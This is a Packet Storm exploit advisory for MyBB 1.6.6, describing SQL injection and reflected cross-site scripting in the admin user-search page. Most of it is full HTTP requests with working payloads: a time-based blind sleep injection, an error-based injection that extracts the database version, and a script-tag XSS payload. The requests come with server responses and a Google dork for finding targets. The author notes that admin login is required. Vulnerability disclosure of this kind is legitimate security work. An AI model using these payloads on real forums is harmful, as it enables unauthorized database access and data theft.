Exploit the possiblities

MyBB 1.6.6 Cross Site Scripting / SQL Injection

MyBB 1.6.6 Cross Site Scripting / SQL Injection
Posted Mar 27, 2012
Authored by Aditya Modha

MyBB version 1.6.6 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
MD5 | 58f8ea0028cb30d0bc772717623da0dd

MyBB 1.6.6 Cross Site Scripting / SQL Injection

Change Mirror Download
# Exploit Title: Multiple vulnerabilities in mybb 1.6.6
# Google Dork: intext:"Powered By MyBB"
# Date: 26th March 2012
# Author: Aditya Modha
# Software Link: http://www.mybb.com/downloads
# Version: 1.6.6
# Tested on: ubuntu
# CVE : Just applied

____ _ ____ _ ____ _ _ ____ ____
/ _ Y \ / _ Y \__/| _ Y \ /| \ / _ Y _ \
| / \| | | | \| |\/|| / \| |\ || | | / \| | //
| \_/| |_/\ |_/| | || |-|| | \|| |_/\ |-|| |_\\
\____|____|____|_/ \|_/ \|_/ \|____|_/ \|____/


Mybb version 1.6.6 suffers from multiple vulnerabilities namely SQL Injection and Cross Site Scripting. Since both of these vulnerabilities can only be exploited after logging in with the admin privileges, the severity of these findings is not high.

1. SQL Injection

Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search

Affected Parameter: conditions[usergroup][]

POST request:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

Response:

HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 16:51:17 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2121
Connection: close
Content-Type: text/html; charset=UTF-8

.........snip...........

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near '') OR CONCAT(',',additionalgroups,',') LIKE '%,2',%')' at line 3

Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2') OR
CONCAT(',',additionalgroups,',') LIKE '%,2',%')

Exploitation:

Since our input goes into two different SELECT queries, the exploitation here is somewhat tricky. We cannot inject it using UNION query as both the SELECT query has difference number of columns.

Exploitation is possible either with the time based blind SQL Injection or with the error based method.

a) Exploitation using Time based blind SQL Injection:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2))+AND+1=(SELECT+sleep(3))%23&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

The injected payload ))+AND+1=(SELECT+sleep(3))%23 will delay the response by 6 seconds rather than 3 seconds because our input goes to two different SELECT queries and each of this SELECT query will delay the execution by 3 seconds.


b) Exploitation using error based mysql SQL Injection:

Reuest:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2))+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1--+-
&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=
&conditions%5Busertitle%5D=&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card


Response:

HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 17:42:40 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2130
Connection: close
Content-Type: text/html; charset=UTF-8

.........snip...........
SQL Error:
1062 - Duplicate entry '5.1.61-0ubuntu0.10.04.11' for key 'group_key'
Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2))
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -) OR CONCAT(',',additionalgroups,',') LIKE '%,2))
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -,%')

Error message shows mysql version. Similarly other data can be retrieved by this method.


2. Reflected Cross Site Scripting

Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search

Affected Parameter: conditions[usergroup][]

POST request:

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

Response :

HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 17:51:54 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2224
Connection: close
Content-Type: text/html; charset=UTF-8

..........snip..................

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))</script>) OR CONCAT(',',additionalgroups,',') LIKE '%,2<script>document.write' at line 3
Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2<script>document.write(Date())</script>) OR CONCAT(',',additionalgroups,',') LIKE '%,2<script>document.write(Date())</script>,%')


3) Vulnerable code

The culprit code can be found under the /var/www/mybb/admin/modules/user/ with the name users.php.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    12 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close